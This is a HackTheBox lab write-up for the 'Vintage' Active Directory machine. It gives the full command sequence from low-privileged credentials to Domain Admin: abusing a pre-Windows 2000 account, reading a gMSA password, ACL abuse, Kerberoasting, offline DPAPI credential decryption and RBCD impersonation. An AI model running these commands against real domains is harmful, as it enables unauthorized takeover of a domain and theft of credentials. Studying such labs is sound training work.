HTB: Vintage Writeup

Vintage - HackTheBox Writeup

Machine Information

AttributeDetails
NameVintage
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.42.104
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Vintage is a hard-difficulty Windows Active Directory box built around an “assumed breach” scenario — the attacker starts with one set of low-privileged domain credentials against dc01.vintage.htb (10.129.42.104). The domain runs NTLM authentication disabled, forcing every single hop of the chain through Kerberos. There is no PKI/ADCS component at all; the entire path to Domain Admin is built from stacked Active Directory ACL misconfigurations: a legacy pre-Windows 2000 computer account with a predictable password, a gMSA whose managed password is readable by Domain Computers, a group with GenericWrite over a disabled service account, a cracked Kerberoast hash that got reused on a real user, a Credential Manager secret protected only by DPAPI, and finally a Resource-Based Constrained Delegation (RBCD) primitive engineered through a chain of AddSelf/GenericWrite grants.

TL;DR: Kerberos-only auth confirmed (NTLM disabled) → P.Rosa assumed-breach creds → pre-Windows 2000 computer account FS01$ (password = fs01) → FS01$ reads GMSA01$ managed password via ReadGMSAPasswordGMSA01$ adds itself to ServiceManagersServiceManagers has GenericWrite on disabled account svc_sql → re-enable + set SPN → Kerberoast → crack Zer0the0ne → password reuse on C.Neri → WinRM → user.txt → offline DPAPI decryption of C.Neri’s Credential Manager blob recovers c.neri_adm:Uncr4ck4bl3P4ssW0rd0312c.neri_adm adds FS01$ to DelegatedAdmins (holds RBCD rights on DC01$) → S4U2self/S4U2proxy as FS01$ impersonating Domain Admin L.BIANCHI_ADM with an HTTP alt-service → WinRM as Domain Admin → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.42.104

Results: 10.129.42.104 came back as a Windows Domain Controller (dc01.vintage.htb) for the vintage.htb domain, exposing the standard AD service set: Kerberos (88), LDAP/LDAPS (389/636/3268/3269), SMB (445), kpasswd (464), WinRM (5985), ADWS (9389), and the usual RPC endpoint mapper ports. No web application surface and no ADCS-related ports — this box was never going to be a certificate-abuse chain.

Service Enumeration

The very first check against the provided assumed-breach credentials confirmed the domain’s defining constraint:

Terminal window
# Sanity-check the low-priv creds over SMB — this is what exposed NTLM being disabled
netexec smb 10.129.42.104 -u 'P.Rosa' -p 'Rosaisbest123'
# -> STATUS_NOT_SUPPORTED

STATUS_NOT_SUPPORTED on an SMB/NTLM bind is the signature of RestrictNTLMinDomain or similar GPO enforcement — the DC will not accept an NTLM authentication attempt at all. Every subsequent action in this box therefore has to go through Kerberos: real tickets, real krb5.conf, and clock sync with the DC.

Terminal window
# Kerberos needs realm config + name resolution + a synced clock
echo "10.129.42.104 dc01.vintage.htb vintage.htb dc01" | sudo tee -a /etc/hosts
sudo ntpdate dc01.vintage.htb # or: sudo net time set -S vintage.htb
cat > krb5.conf <<'EOF'
[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
}
[domain_realm]
.vintage.htb = VINTAGE.HTB
vintage.htb = VINTAGE.HTB
EOF
export KRB5_CONFIG=$(pwd)/krb5.conf
# Request a TGT for the assumed-breach account
echo 'Rosaisbest123' | kinit P.Rosa
klist

With a valid TGT for P.Rosa, LDAP-based AD enumeration (Kerberos-authenticated, since NTLM is dead) mapped out the domain’s users, groups, and — critically — the ACLs sitting on top of them.

Vulnerability Assessment

  1. NTLM completely disabled — Kerberos pre-auth is mandatory for every account touched in this chain.
  2. Pre-Windows 2000 computer account (FS01$) present in the domain — when a computer account is created with the legacy “Assign this computer account as a pre-Windows 2000 computer” option, its initial password is set to the lowercase sAMAccountName, and it’s frequently never rotated.
  3. ReadGMSAPassword granted to Domain Computers on the GMSA01$ gMSA object — any domain-joined computer account (including the pre-2k one) can read its live managed password.
  4. AddSelf/GenericWrite ACL stacking across ServiceManagers → a disabled service account (svc_sql), and later c.neri_admDelegatedAdmins — classic ACL-abuse privilege escalation paths, no exploit code required.
  5. Credential Manager secret protected only by DPAPI, decryptable offline once the owning user’s plaintext password is known.
  6. RBCD configured on the DC itself (DC01$) via PrincipalsAllowedToDelegateToAccount pointing at a group (DelegatedAdmins) that a compromised user can add themselves to.

Initial Foothold

Exploitation Path

Step 1 — Confirm the pre-Windows 2000 computer account.

AD enumeration over the P.Rosa LDAP session surfaced a computer account, FS01$, that was a member of the built-in “Pre-Windows 2000 Compatible Access” group — a strong hint (not the misconfiguration itself, just a marker on the object) that the account was provisioned with the legacy pre-2000 flag, meaning its password equals its sAMAccountName in lowercase.

Terminal window
# Verify the pre-2k password convention: password == sAMAccountName.lower()
netexec ldap 10.129.42.104 -d vintage.htb -u 'fs01$' -p 'fs01' -k
# -> [+] vintage.htb\fs01$:fs01

That confirmed it — fs01$ authenticates with the password fs01. This is a legitimate credential, not a brute force: pre-Windows 2000 compatibility accounts are a documented legacy behavior in Active Directory (see TrustedSec’s write-ups on the “Pre-Windows 2000 Computers” group), and it’s a recurring real-world finding in AD assessments where old file-server or print-server joins were never cleaned up.

Terminal window
# Get a Kerberos TGT for the computer account
echo 'fs01' | kinit -f 'fs01$'
export KRB5CCNAME=/tmp/krb5cc_fs01
klist

Step 2 — Abuse ReadGMSAPassword on the gMSA.

FS01$ is a member of Domain Computers, and Domain Computers holds ReadGMSAPassword over the GMSA01$ group-managed service account. gMSA passwords are stored in the msDS-ManagedPassword attribute and are readable by any principal explicitly granted that right — this is by design (it’s how services actually retrieve their gMSA credentials at runtime), but it’s also a privilege-escalation primitive when the “allowed to retrieve” list is too broad.

Terminal window
# Pull the gMSA's live managed password blob over LDAP and decode it to an NT hash
bloodyAD -d vintage.htb -k --host dc01.vintage.htb get object \
"CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB" \
--attr msDS-ManagedPassword
# msDS-ManagedPassword.NTLM -> NT hash: <redacted>
# Authenticate as the gMSA using the recovered NT hash (pass-the-hash over Kerberos via RC4)
netexec ldap 10.129.42.104 -d vintage.htb -u 'GMSA01$' -H '<redacted>' -k

Step 3 — AddSelf into ServiceManagers.

GMSA01$ carries GenericWrite/AddSelf over the ServiceManagers group, so it can add itself directly:

Terminal window
# GMSA01$ writes itself into a group it's not a member of yet
bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember ServiceManagers 'GMSA01$'
# [+] GMSA01$ added to ServiceManagers

To act as GMSA01$ for further Kerberos operations, its NT hash was loaded into a keytab and a fresh TGT requested:

Terminal window
ktutil <<'EOF'
addent -p GMSA01$ -k 1 -key -e rc4-hmac
<redacted>
wkt /tmp/GMSA01.keytab
exit
EOF
kinit -k -t /tmp/GMSA01.keytab -f 'GMSA01$'

Step 4 — GenericWrite on the disabled svc_sql account → Kerberoast.

Membership in ServiceManagers grants GenericWrite over several user objects, including svc_sql, which sits disabled. GenericWrite lets an attacker write arbitrary attributes on the target object, including userAccountControl (to clear the ACCOUNTDISABLE bit) and servicePrincipalName (to make the account Kerberoastable — an account only yields a crackable TGS if it has an SPN set):

Terminal window
# Clear the ACCOUNTDISABLE flag
bloodyAD -d vintage.htb -k --host dc01.vintage.htb remove uac svc_sql -f ACCOUNTDISABLE
# Give it a fake SPN purely to make it Kerberoastable
bloodyAD -d vintage.htb -k --host dc01.vintage.htb set object svc_sql \
servicePrincipalName -v 'http/anything'
# Request + dump the TGS, which is encrypted with svc_sql's NT hash
netexec ldap 10.129.42.104 -d vintage.htb -u 'GMSA01$' -H '<redacted>' -k \
--kerberoasting hashes.txt
Terminal window
# Offline crack against rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# svc_sql -> Zer0the0ne

Step 5 — Password reuse → foothold.

Zer0the0ne was sprayed across the discovered domain users and hit on C.Neri, who is a member of Remote Management Users, giving direct WinRM access:

Terminal window
echo 'Zer0the0ne' | kinit C.Neri
evil-winrm -i dc01.vintage.htb -r vintage.htb
Terminal window
*Evil-WinRM* PS C:\Users\C.Neri\Desktop> type user.txt
<redacted>

Privilege Escalation

Offline DPAPI Credential Theft (no interactive session required)

C.Neri’s WinRM session is a network logon, which by default does not decrypt DPAPI-protected user secrets in-session (no interactive profile master key is unlocked). Rather than fight that with a RunasCs-style logon-type-2 spawn, the DPAPI masterkey and Credential Manager blobs were pulled off disk and decrypted offline, since the plaintext password (Zer0the0ne) is already known:

Terminal window
# Over the evil-winrm session: harvest the two things DPAPI decryption needs
# 1. The user's DPAPI masterkey file(s)
# %APPDATA%\Microsoft\Protect\<user-SID>\<masterkey-GUID>
# 2. The Credential Manager blob(s)
# %LOCALAPPDATA%\Microsoft\Credentials\<blob>
download C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\<SID>\<masterkey-guid>
download C:\Users\C.Neri\AppData\Local\Microsoft\Credentials\<blob>
Terminal window
# Decrypt the masterkey using C.Neri's plaintext password (domain SID required for the derivation)
impacket-dpapi masterkey -file <masterkey-guid> -password 'Zer0the0ne' -sid <C.Neri-SID>
# Use the decrypted masterkey to decrypt the Credential Manager blob
impacket-dpapi credential -file <blob> -key <decrypted-masterkey-hex>
# -> vintage\c.neri_adm : Uncr4ck4bl3P4ssW0rd0312

This works because DPAPI derives a user’s masterkey from a key that is itself protected with a value computed from the user’s own password (SHA1 of the NT hash plus the user’s SID, for domain accounts, with a domain backup key as a fallback). Anyone holding the plaintext password can therefore reproduce that derivation and decrypt every DPAPI blob the account owns — no need to be SYSTEM, no need for an interactive desktop session, no need for RunasCs. It’s the same mechanism SharpDPAPI/Invoke-WCMDump automate on-box; here it was done off-box with impacket-dpapi.

RBCD via Chained AddSelf/GenericWrite

With c.neri_adm credentials in hand, further ACL enumeration showed c.neri_adm holds GenericWrite/AddSelf over the DelegatedAdmins group — and DelegatedAdmins is set as the PrincipalsAllowedToDelegateToAccount on the domain controller’s own computer object (DC01$). That’s a textbook Resource-Based Constrained Delegation (RBCD) target: whoever controls a principal listed there can request service tickets as any user against DC01$.

Terminal window
# Authenticate as the admin-tier account recovered from DPAPI
echo 'Uncr4ck4bl3P4ssW0rd0312' | kinit c.neri_adm
export KRB5CCNAME=/tmp/krb5cc_cneriadm
# Add FS01$ (a computer account we already fully control) into the delegation-eligible group
bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember DelegatedAdmins 'fs01$'
# [+] fs01$ added to DelegatedAdmins

FS01$ is now an RBCD-eligible principal against DC01$. Domain Admin Administrator is restricted from network logon on this box, so the impersonation target instead is L.BIANCHI_ADM, a Domain Admin-equivalent account:

Terminal window
# Get a forwardable TGT for FS01$ — S4U delegation requires forwardable=true
echo 'fs01' | kinit -f 'fs01$'
export KRB5CCNAME=/tmp/krb5cc_fs01
# S4U2self + S4U2proxy: impersonate L.BIANCHI_ADM against DC01$,
# swap the service class to HTTP so the resulting ticket is valid for WinRM
impacket-getST -spn 'cifs/dc01.vintage.htb' \
-altservice 'HTTP/dc01.vintage.htb' \
-impersonate L.BIANCHI_ADM \
-dc-ip 10.129.42.104 \
'vintage.htb/fs01$:fs01'

The -altservice swap matters: RBCD grants a ticket for whatever SPN was requested in S4U2proxy, but WinRM’s HTTP service class differs from the cifs class used to request delegation rights — impacket-getST’s alt-service flag rewrites the service name in the final ticket to HTTP, which evil-winrm needs to authenticate the session as L.BIANCHI_ADM.

Terminal window
# Use the impersonated Domain Admin ticket
export KRB5CCNAME='L.BIANCHI_ADM@HTTP_dc01.vintage.htb@VINTAGE.HTB.ccache'
evil-winrm -i dc01.vintage.htb -r vintage.htb
Terminal window
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
e6ad<redacted>

Attack Chain Summary

NTLM disabled confirmed (Kerberos-only)
→ P.Rosa (assumed-breach creds) → LDAP/Kerberos AD enumeration
→ FS01$ pre-Windows 2000 computer account (password = sAMAccountName.lower())
→ ReadGMSAPassword (Domain Computers) → GMSA01$ managed password
→ AddSelf → ServiceManagers group
→ GenericWrite → svc_sql (re-enable + set SPN) → Kerberoast → crack "Zer0the0ne"
→ Password reuse: C.Neri:Zer0the0ne → WinRM → user.txt
→ Offline DPAPI decrypt (masterkey + Credential Manager blob) → c.neri_adm creds
→ GenericWrite/AddSelf → DelegatedAdmins (RBCD-eligible on DC01$)
→ S4U2self/S4U2proxy as FS01$, impersonate L.BIANCHI_ADM, altservice HTTP
→ WinRM as Domain Admin → root.txt

Tools Used

ToolPurpose
nmapPort scanning / service fingerprinting
netexecNTLM-disabled check, LDAP auth verification, Kerberoasting
kinit / klist / krb5.confKerberos TGT acquisition and management (mandatory — NTLM refused)
bloodyADLDAP-based AD object read/write (gMSA password read, group membership writes, UAC/SPN edits)
ktutilBuilding a keytab from a recovered NT hash for repeatable Kerberos auth
johnOffline Kerberoast hash cracking
evil-winrmWinRM shell access (Kerberos-authenticated)
impacket-dpapiOffline DPAPI masterkey + Credential Manager blob decryption
impacket-getSTS4U2self/S4U2proxy RBCD ticket request with alt-service rewrite

Key Learnings

Techniques Practiced

  • Operating entirely over Kerberos in an NTLM-disabled AD environment (krb5.conf, time sync, ticket cache management)
  • Identifying and abusing a pre-Windows 2000 computer account’s predictable password
  • Reading a gMSA’s managed password via ReadGMSAPassword and converting it to a usable credential
  • Chained ACL abuse (AddSelfGenericWrite) across multiple groups to escalate from a computer account to a Kerberoastable user
  • Re-enabling a disabled account and forcing it Kerberoastable by writing an arbitrary SPN
  • Offline DPAPI masterkey/blob decryption using a known plaintext password, without needing an interactive logon
  • Engineering an RBCD primitive from raw ACL writes rather than a pre-existing msDS-AllowedToActOnBehalfOfOtherIdentity misconfiguration
  • S4U2self/S4U2proxy with an alt-service swap to make an RBCD ticket valid for a different application protocol (WinRM vs. CIFS)

Lessons Learned

  1. NTLM being disabled doesn’t stop AD exploitation — it just forces every step through Kerberos. Tooling and workflow have to adapt (krb5.conf, ticket caches, -k flags everywhere), but ACL abuse chains are protocol-agnostic.
  2. Legacy “pre-Windows 2000 compatible” computer accounts are a real, recurring finding, not a CTF-only trick — any AD environment with old joins can carry this same predictable-password exposure.
  3. ReadGMSAPassword is a legitimate operational necessity for services, but over-broad grants (e.g., to Domain Computers) turn any computer account into a path to that gMSA’s live credential.
  4. DPAPI-protected secrets are only as safe as the owning account’s password. Once you have the plaintext, Credential Manager entries, saved RDP creds, and browser secrets can all be decrypted offline — no need for SYSTEM or an interactive session on the host.
  5. RBCD doesn’t require finding an existing misconfigured msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If you can write to it (directly, or via group membership on a principal already listed there), you can build the delegation primitive yourself.
  6. Blocking Administrator from network logon doesn’t close the Domain Admin door — any other Domain Admin-equivalent account works just as well as an S4U impersonation target.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xEr3bus, “Vintage” — official HackTheBox writeup (17 April 2025) — used only to confirm the conceptual mechanics of the pre-Windows 2000 computer account behavior, the ReadGMSAPassword/RBCD primitives, and the reasoning behind the HTTP alt-service ticket swap. All IPs, credentials, command output, and hash values in this writeup are from this run against 10.129.42.104, not from the reference.